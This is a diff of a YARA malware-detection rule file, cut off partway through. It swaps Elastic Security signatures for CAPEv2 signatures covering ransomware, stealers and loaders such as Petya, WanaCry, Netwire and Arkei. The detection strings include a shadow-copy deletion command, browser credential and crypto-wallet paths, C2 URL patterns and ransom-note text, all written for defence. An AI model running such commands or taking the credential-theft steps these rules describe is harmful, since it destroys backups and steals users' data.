+		$str_func_17 = "main.SetUsermame"
+		$str_func_18 = "main.Zip"
+		$str_func_19 = "main.base64Decode"
+		$str_func_20 = "main.countupMonitorCallback"
+		$str_func_21 = "main.enumDisplayMonitors"
+		$str_func_22 = "main.getCPU"
+		$str_func_23 = "main.getDesktopWindow"
+		$str_func_24 = "main.getGPU"
+		$str_func_25 = "main.getMasterKey"
+		$str_func_26 = "main.getMonitorBoundsCallback"
+		$str_func_27 = "main.getMonitorRealSize"
+		$str_func_28 = "main.sysTotalMemory"
+		$str_func_29 = "main.xDecrypt"
+		$str_type_01 = "type..eq.main.Browser_G"
+		$str_type_02 = "type..eq.main.STRUSER"
+		$str_type_03 = "type..eq.main.Telegram_G"
+		$str_type_04 = "type..eq.main.Crypto_G"
+		$str_type_05 = "type..eq.main.ScreenShot_G"
+		$str_type_06 = "type..eq.main.FileGrabber_G"
+		$str_type_07 = "type..eq.main.FTP_G"
+		$str_type_08 = "type..eq.main.Steam_G"
+		$str_type_09 = "type..eq.main.DATA_BLOB"
+		$str_type_10 = "type..eq.main.Grabber"
+		$varia_01 = "\\User Data\\Local State"
+		$varia_02 = "\\\\Opera Stable\\\\Local State"
+		$varia_03 = "Reconnect 1"
+		$varia_04 = "@ftmone"
+		$varia_05 = "^user^"
+		$varia_06 = "wmic path win32_VideoController get name"
+		$varia_07 = "\\AppData\\Roaming\\Telegram Desktop\\tdata"
+		$varia_08 = "C:\\Windows.old\\Users\\"
+		$varia_09 = "ScreenShot"
+		$varia_10 = "Crypto"
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		uint16(0)==0x5A4D and (32 of ($str_*) or 9 of ($varia_*))
 }
-rule ELASTIC_Linux_Ransomware_Blacksuit_9F53E7E5 : FILE MEMORY
+rule CAPE_Tscookie : FILE
 {
 	meta:
-		description = "Detects Linux Ransomware Blacksuit (Linux.Ransomware.BlackSuit)"
-		author = "Elastic Security"
-		id = "9f53e7e5-7177-4e17-ac12-9214c4deddf2"
-		date = "2023-07-27"
-		modified = "2024-02-13"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Ransomware_BlackSuit.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1c849adcccad4643303297fb66bfe81c5536be39a87601d67664af1d14e02b9e"
-		logic_hash = "121e0139385cfef5dff394c4ea36d950314b00c6d7021cf2ca667ee942e74763"
+		description = "TSCookie Payload"
+		author = "kevoreilly"
+		id = "e1efd356-7170-5454-bf40-68927c71816c"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/TSCookie.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "0461c7fd14c74646437654f0a63a4a89d4efad620e197a8ca1e8d390618842c3"
 		score = 75
-		quality = 50
-		tags = "FILE, MEMORY"
-		fingerprint = "34355cb1731fe6c8fa684a484943127f8fdf3814d45025e29bdf25a08b4890fd"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "TSCookie Payload"
 
 	strings:
-		$a1 = "esxcli vm process list > list_" fullword
-		$a2 = "Drop readme failed: %s(%d)" fullword
-		$a3 = "README.BlackSuit.txt" fullword
+		$string1 = "http://%s:%d" wide
+		$string2 = "/Default.aspx" wide
+		$string3 = "\\wship6"
 
 	condition:
-		2 of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Bandook_38497690 : FILE MEMORY
+rule CAPE_Bumblebee : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Bandook (Windows.Trojan.Bandook)"
-		author = "Elastic Security"
-		id = "38497690-6663-47c9-a864-0bbe6a3f7a8b"
-		date = "2022-08-10"
-		modified = "2022-09-29"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bandook.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4d079586a51168aac708a9ab7d11a5a49dfe7a16d9ced852fbbc5884020c0c97"
-		logic_hash = "199614993f63636764808313f25199348afdf4d537c8dca06f673559e34636b8"
+		description = "BumbleBee Payload"
+		author = "enzo & kevoreilly"
+		id = "b3a4dd53-014c-5e16-8ac1-7f3800ae017d"
+		date = "2023-10-02"
+		modified = "2023-10-02"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/BumbleBee.yar#L35-L50"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "bc7c2ce9d3cd598c9510dc64d78048999f2f89ee5a84cd0d6046dbdfabe260ee"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b6debea805a8952b9b7473ad7347645e4aced3ecde8d6e53fa2d82c35b285b3c"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "BumbleBee Payload"
 
 	strings:
-		$str1 = "%s~!%s~!%s~!%s~!%s~!%s~!"
-		$str2 = "ammyy.abc"
-		$str3 = "StealUSB"
-		$str4 = "DisableMouseCapture"
-		$str5 = "%sSkype\\%s\\config.xml"
-		$str6 = "AVE_MARIA"
+		$antivm1 = {84 C0 74 09 33 C9 FF [4] 00 CC 33 C9 E8 [3] 00 4? 8B C8 E8}
+		$antivm2 = {84 C0 0F 85 [2] 00 00 33 C9 E8 [4] 48 8B C8 E8 [4] 48 8D 85}
+		$antivm3 = {33 C9 E8 [4] 48 8B C8 E8 [4] 83 CA FF 48 8B 0D [4] FF 15}
+		$antivm4 = {33 C9 E8 [4] 48 8B C8 E8 [4] 90 48 8B 05 [4] 48 85 C0 74}
+		$str_ua = "bumblebee"
+		$str_gate = "/gate"
 
 	condition:
-		3 of them
+		uint16(0)==0x5A4D and ( any of ($antivm*) or all of ($str_*))
 }
-rule ELASTIC_Windows_Trojan_Beam_E41B243A : FILE MEMORY
+rule CAPE_Magniber : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Beam (Windows.Trojan.Beam)"
-		author = "Elastic Security"
-		id = "e41b243a-020f-485e-b4bc-4db9d593e7af"
-		date = "2021-12-07"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Beam.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "233a1f1dcbb679d31dab7744358b434cccabfc752baf53ba991388ced098f7c8"
-		logic_hash = "295837743ecfa51e1713d19cba24ff8885c8716201caac058ae8b2bc9e008e6c"
+		description = "Magniber Payload"
+		author = "kevoreilly"
+		id = "a704914f-2aa2-537d-975d-f8c23427951f"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Magniber.yar#L1-L11"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "1875754bdf98c1886f31f6c6e29992a98180f74d8fa168ae391e2c660d760618"
 		score = 75
-		quality = 69
-		tags = "FILE, MEMORY"
-		fingerprint = "0863f858fcc03d9b5994e73ee3b9daf64b57b0eecd67b718eafa2ed162cf7878"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Magniber Payload"
 
 	strings:
-		$a1 = { 69 70 22 3A 22 28 5B 30 2D 39 2E 5D 2B 29 }
-		$a2 = { 63 6F 75 6E 74 72 79 5F 63 6F 64 65 22 3A 22 28 5C 77 2A 29 }
-		$a3 = { 20 2F 66 20 26 20 65 72 61 73 65 20 }
-		$a4 = "\\BeamWinHTTP2\\Release\\BeamWinHTTP.pdb"
+		$a1 = {8B 55 FC 83 C2 01 89 55 FC 8B 45 FC 3B 45 08 7D 45 6A 01 6A 00 E8 26 FF FF FF 83 C4 08 89 45 F4 83 7D F4 00 75 18 6A 7A 6A 61 E8 11 FF FF FF 83 C4 08 8B 4D FC 8B 55 F8 66 89 04 4A EB 16}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Windows_Trojan_Beam_5A951D13 : FILE MEMORY
+rule CAPE_Atlas : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Beam (Windows.Trojan.Beam)"
-		author = "Elastic Security"
-		id = "5a951d13-9568-4a5f-bda3-645143bc16a1"
-		date = "2021-12-07"
-		modified = "2022-04-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Beam.yar#L24-L42"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "233a1f1dcbb679d31dab7744358b434cccabfc752baf53ba991388ced098f7c8"
-		logic_hash = "3419b649717b69f07334bd966f438dd0b77f03572fe14f4b88ce95a2a86cae07"
+		description = "Atlas Payload"
+		author = "kevoreilly"
+		id = "22322e5c-ded6-56df-8a39-a8f5cbc18239"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Atlas.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "c3f73b29df5caf804dbfe3e6ac07a9e2c772bd2a126f0487e4a65e72bd501e6e"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e3de6b47e563ebfd735cdd56f5b4077a8923026520ecca0628c5704272ea52bb"
-		severity = 99
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Atlas Payload"
 
 	strings:
-		$a1 = { 24 40 8B CE 2B C8 3B CA 0F 42 D1 83 FF 10 8D 4C 24 18 0F 43 CB }
+		$a1 = "bye.bat"
+		$a2 = "task=knock&id=%s&ver=%s x%s&disks=%s&other=%s&ip=%s&pub="
+		$a3 = "process call create \"cmd /c start vssadmin delete shadows /all /q"
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Linux_Trojan_Asacub_D3C4Aa41 : FILE MEMORY
+rule CAPE_Petya : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Asacub (Linux.Trojan.Asacub)"
-		author = "Elastic Security"
-		id = "d3c4aa41-faae-4c85-bdc5-9e09483e92fb"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Asacub.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "15044273a506f825859e287689a57c6249b01bb0a848f113c946056163b7e5f1"
-		logic_hash = "3645e10e5ef8c50e5e82d749da07f5669c5162cb95aa5958ce45a414b870f619"
+		description = "Petya Payload"
+		author = "kevoreilly"
+		id = "e581747c-c40f-5689-84b4-d55134b532f7"
+		date = "2019-10-30"
+		modified = "2019-10-30"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Petya.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "f819261bb34f3b2eb7dc2f843b56be25105570fe902a77940a632a54fbe0d014"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4961023c719599bd8da6b8a17dbe409911334c21b45d62385dd02a6dd35fd2be"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Petya Payload"
 
 	strings:
-		$a = { 10 8B 0F 83 EC 08 50 57 FF 51 54 83 C4 10 8B 8B DC FF FF FF 89 4C }
+		$a1 = "CHKDSK is repairing sector"
+		$a2 = "wowsmith123456@posteo.net"
+		$a3 = "1Mz7153HMuxXTuR2R1t78mGSdzaAtNbBWX" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and ( all of ($a*))
 }
-rule ELASTIC_Windows_Ransomware_Mespinoza_3Adb59F5 : FILE MEMORY
+rule CAPE_Wanacry : FILE
 {
 	meta:
-		description = "Detects Windows Ransomware Mespinoza (Windows.Ransomware.Mespinoza)"
-		author = "Elastic Security"
-		id = "3adb59f5-a4af-48f2-8029-874a62b23651"
-		date = "2021-08-05"
-		modified = "2021-10-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Mespinoza.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6f3cd5f05ab4f404c78bab92f705c91d967b31a9b06017d910af312fa87ae3d6"
-		logic_hash = "28c8ad42a3af70fed274edc9105dae5cef13749d71510561a50428c822464934"
+		description = "WanaCry Payload"
+		author = "kevoreilly"
+		id = "a6525e0f-fccd-5542-9be8-e42d708fe502"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/WanaCry.yar#L1-L16"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "16d5e39f043d27bbf22f8f21e13971b7e0709b07e44746dd157d11ee4cc51944"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f44a79048427e79d339d3b0ccaeb85ba6731d5548256a2615f32970dcf67578f"
-		severity = 90
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "WanaCry Payload"
 
 	strings:
-		$a1 = "Don't try to use backups because it were encrypted too." ascii fullword
-		$a2 = "Every byte on any types of your devices was encrypted." ascii fullword
-		$a3 = "n.pysa" wide fullword
+		$exename = "@WanaDecryptor@.exe"
+		$res = "%08X.res"
+		$pky = "%08X.pky"
+		$eky = "%08X.eky"
+		$taskstart = {8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Linux_Rootkit_Arkd_Bbd56917 : FILE MEMORY
+rule CAPE_Cargobayloader : FILE
 {
 	meta:
-		description = "Detects Linux Rootkit Arkd (Linux.Rootkit.Arkd)"
-		author = "Elastic Security"
-		id = "bbd56917-aeab-4e73-b85b-adc41fc7ffe4"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Rootkit_Arkd.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e0765f0e90839b551778214c2f9ae567dd44838516a3df2c73396a488227a600"
-		logic_hash = "5e1ce9c37d92222e21b43f9e5f3275a70c6e8eb541c3762f9382c5d5c72fb50d"
+		description = "CargoBay Loader"
+		author = "kevoreilly"
+		id = "5b347863-0bea-55d2-aaf3-b3d6e604be89"
+		date = "2023-02-20"
+		modified = "2023-02-20"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/CargoBayLoader.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		hash = "75e975031371741498c5ba310882258c23b39310bd258239277708382bdbee9c"
+		logic_hash = "1d5c4ca79f97e1fac358189a8c6530be12506974fc2fb42f63b0b621536a45c9"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "73c8b2685b6b568575afca3c3c2fe2095d94f2040f4a1207974fe77bbb657163"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "linux"
+		quality = 70
+		tags = "FILE"
+		cape_type = "CargoBay Loader"
 
 	strings:
-		$a = { 7D 0B B8 FF FF FF FF EB 11 8D 74 26 00 39 C1 7F 04 31 C0 EB 05 B8 01 00 }
+		$jmp1 = {40 42 0F 00 0F 82 [2] 00 00 48 8D 15 [4] BF 04 00 00 00 41 B8 04 00 00 00 4C 8D [3] 4C 89 F1 E8}
+		$jmp2 = {84 DB 0F 85 [2] 00 00 48 8D 15 [4] 41 BE 03 00 00 00 41 B8 03 00 00 00 4C 8D 7C [2] 4C 89 F9 E8}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Netwire_6A7Df287 : FILE MEMORY
+rule CAPE_Rhadamanthys
 {
 	meta:
-		description = "Detects Windows Trojan Netwire (Windows.Trojan.Netwire)"
-		author = "Elastic Security"
-		id = "6a7df287-1656-4779-9a96-c0ab536ae86a"
-		date = "2021-06-28"
-		modified = "2021-08-23"
-		reference = "https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Netwire.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e6f446dbefd4469b6c4d24988dd6c9ccd331c8b36bdbc4aaf2e5fc49de2c3254"
-		logic_hash = "d5f36e2a81cf0a9037267d39266b4c31ca9c07b05fb9772e296aeac2da6051a5"
+		description = "Rhadamanthys Loader"
+		author = "kevoreilly"
+		id = "4683ef43-7397-5546-ae54-b4c000518182"
+		date = "2023-09-18"
+		modified = "2023-09-18"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Rhadamanthys.yar#L1-L14"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "f71bee3ef1dd7b16a55397645d16c0a20d1fdd3bf662f241c0b11796629b11ff"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "85051a0b94da4388eaead4c4f4b2d16d4a5eb50c3c938b3daf5c299c9c12f1e6"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = ""
+		cape_type = "Rhadamanthys Loader"
 
 	strings:
-		$a = { 0F B6 74 0C 10 89 CF 29 C7 F7 C6 DF 00 00 00 74 09 41 89 F3 88 5C }
+		$rc4 = {88 4C 01 08 41 81 F9 00 01 00 00 7C F3 89 75 08 33 FF 8B 4D 08 3B 4D 10 72 04 83 65 08 00}
+		$code = {8B 4D FC 3B CF 8B C1 74 0D 83 78 04 02 74 1C 8B 40 1C 3B C7 75 F3 3B CF 8B C1 74 57 83 78 04 17 74 09 8B 40 1C 3B C7 75 F3 EB}
+		$conf = {46 BB FF 00 00 00 23 F3 0F B6 44 31 08 03 F8 23 FB 0F B6 5C 39 08 88 5C 31 08 88 44 39 08 02 C3 8B 5D 08 0F B6 C0 8A 44 08 08}
+		$cape_string = "cape_options"
 
 	condition:
-		all of them
+		2 of them and not $cape_string
 }
-rule ELASTIC_Windows_Trojan_Netwire_1B43Df38 : FILE MEMORY
+rule CAPE_Zeuspanda : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Netwire (Windows.Trojan.Netwire)"
-		author = "Elastic Security"
-		id = "1b43df38-886e-4f58-954a-a09f30f19907"
-		date = "2021-06-28"
-		modified = "2021-08-23"
-		reference = "https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Netwire.yar#L22-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e6f446dbefd4469b6c4d24988dd6c9ccd331c8b36bdbc4aaf2e5fc49de2c3254"
-		logic_hash = "bb0eb1c1969bc1416e933822843293c5d41bf9bc3d402fa5dbdc3cdf2f4b394a"
+		description = "ZeusPanda Payload"
+		author = "kevoreilly"
+		id = "7891c021-6687-5457-b9e1-0beb0472647c"
+		date = "2022-06-09"
+		modified = "2022-06-09"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/ZeusPanda.yar#L1-L13"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "43d8a56cae9fd23c053f6956851734d3270b46a906236854502c136e3bb1e761"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4142ea14157939dc23b8d1f5d83182aef3a5877d2506722f7a2706b7cb475b76"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "ZeusPanda Payload"
 
 	strings:
-		$a1 = "[%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword
-		$a2 = "\\Login Data"
-		$a3 = "SOFTWARE\\NetWire" fullword
+		$code1 = {8B 01 57 55 55 55 55 55 55 53 51 FF 50 0C 85 C0 78 E? 55 55 6A 03 6A 03 55 55 6A 0A FF 37}
+		$code2 = {8D 85 B0 FD FF FF 50 68 ?? ?? ?? ?? 8D 85 90 FA FF FF 68 0E 01 00 00 50 E8 ?? ?? ?? ?? 83 C4 10 83 F8 FF 7E ?? 68 04 01 00 00 8D 85 B0 FD FF FF}
 
 	condition:
-		2 of them
+		uint16(0)==0x5A4D and all of them
 }
-rule ELASTIC_Windows_Trojan_Netwire_F85E4Abc : FILE MEMORY
+rule CAPE_Socks5Systemz : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Netwire (Windows.Trojan.Netwire)"
-		author = "Elastic Security"
-		id = "f85e4abc-f2d7-491b-a1ad-a59f287e5929"
-		date = "2022-08-14"
-		modified = "2022-09-29"
-		reference = "https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Netwire.yar#L45-L64"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ab037c87d8072c63dc22b22ff9cfcd9b4837c1fee2f7391d594776a6ac8f6776"
-		logic_hash = "af8fc8fff2e1a0b6c87ac6d24fecf2e1cefe6313ec66da13fddd1be25c1c3d92"
+		description = "Socks5Systemz Payload"
+		author = "kevoreilly"
+		id = "75831382-bb43-554e-93b1-f54a2255d8b9"
+		date = "2024-05-22"
+		modified = "2024-05-22"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Socks5Systemz.yar#L1-L18"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "44b83b6d2ab39b4258ae0d97d00d02afdbb62a3973fd788584e4dea9db69cc1b"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "66cae88c9f8b975133d2b3af94a869244d273021261815b15085c638352bf2ca"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Socks5Systemz Payload"
+		packed = "9b997d0de3fe83091726919a0dc653e22f8f8b20b1bb7d0b8485652e88396f29"
 
 	strings:
-		$a = { C9 0F 44 C8 D0 EB 8A 44 24 12 0F B7 C9 75 D1 32 C0 B3 01 8B CE 88 44 }
+		$chunk1 = {0F B6 84 8A [4] E9 [3] (00|FF)}
+		$chunk2 = {0F B6 04 8D [4] E9 [3] (00|FF)}
+		$chunk3 = {0F B6 04 8D [4] E9 [3] (00|FF)}
+		$chunk4 = {0F B6 04 8D [4] E9 [3] (00|FF)}
+		$chunk5 = {66 0F 6F 05 [4] E9 [3] (00|FF)}
+		$chunk6 = {F0 0F B1 95 [4] E9 [3] (00|FF)}
+		$chunk7 = {83 FA 04 E9 [3] (00|FF)}
 
 	condition:
-		all of them
+		uint16(0)==0x5A4D and 6 of them
 }
-rule ELASTIC_Windows_Trojan_Netwire_F42Cb379 : FILE MEMORY
+rule CAPE_Arkei : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Netwire (Windows.Trojan.Netwire)"
-		author = "Elastic Security"
-		id = "f42cb379-ac8c-4790-a6d3-aad6dc4acef6"
-		date = "2022-08-14"
-		modified = "2022-09-29"
-		reference = "https://www.elastic.co/security-labs/netwire-dynamic-configuration-extraction"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Netwire.yar#L66-L90"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ab037c87d8072c63dc22b22ff9cfcd9b4837c1fee2f7391d594776a6ac8f6776"
-		logic_hash = "fc1436596987d3971a464e707ee6fd5689e7d2800df471c125c1e3f748537f5d"
+		description = "Arkei Payload"
+		author = "kevoreilly"
+		id = "22ebe194-19a9-5bf2-9cfc-ea27b7724572"
+		date = "2020-02-11"
+		modified = "2020-02-11"
+		reference = "https://github.com/kevoreilly/CAPEv2"
+		source_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/data/yara/CAPE/Arkei.yar#L1-L24"
+		license_url = "https://github.com/kevoreilly/CAPEv2/blob/925ba96aba58057b1d1bae119063fdf41bc0c506/LICENSE"
+		logic_hash = "03980827db1c53d4090ab196ba820ca34b5d83dc7140b11ead9182cb5d28c7d3"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "a52d2be082d57d07ab9bb9087dd258c29ef0528c4207ac6b31832f975a1395b6"
-		severity = 100
-		arch_context = "x86"
-		scan_context = "file, memory"
-		license = "Elastic License v2"
-		os = "windows"
+		quality = 70
+		tags = "FILE"
+		cape_type = "Arkei Payload"
 
 	strings:
-		$a1 = "http://%s%ComSpec" ascii fullword
-		$a2 = "%c%.8x%s" ascii fullword
-		$a3 = "%6\\6Z65dlNh\\YlS.dfd" ascii fullword
-		$a4 = "GET %s HTTP/1.1" ascii fullword
-		$a5 = "R-W65: %6:%S" ascii fullword
-		$a6 = "PTLLjPq %6:%S -qq9/G.y" ascii fullword
+		$string1 = "Windows_Antimalware_Host_System_Worker"
+		$string2 = "Arkei"
+		$string3 = "Bitcoin\\wallet.dat"
+		$string4 = "Ethereum\\keystore"
+		$v1 = "C:\\Windows\\System32\\cmd.exe" fullword ascii wide
+		$v2 = "/c taskkill /im " fullword ascii
+		$v3 = "card_number_encrypted FROM credit_cards" ascii
+		$v4 = "\\wallet.dat" ascii
+		$v5 = "Arkei/" wide
+		$v6 = "files\\passwords." ascii wide
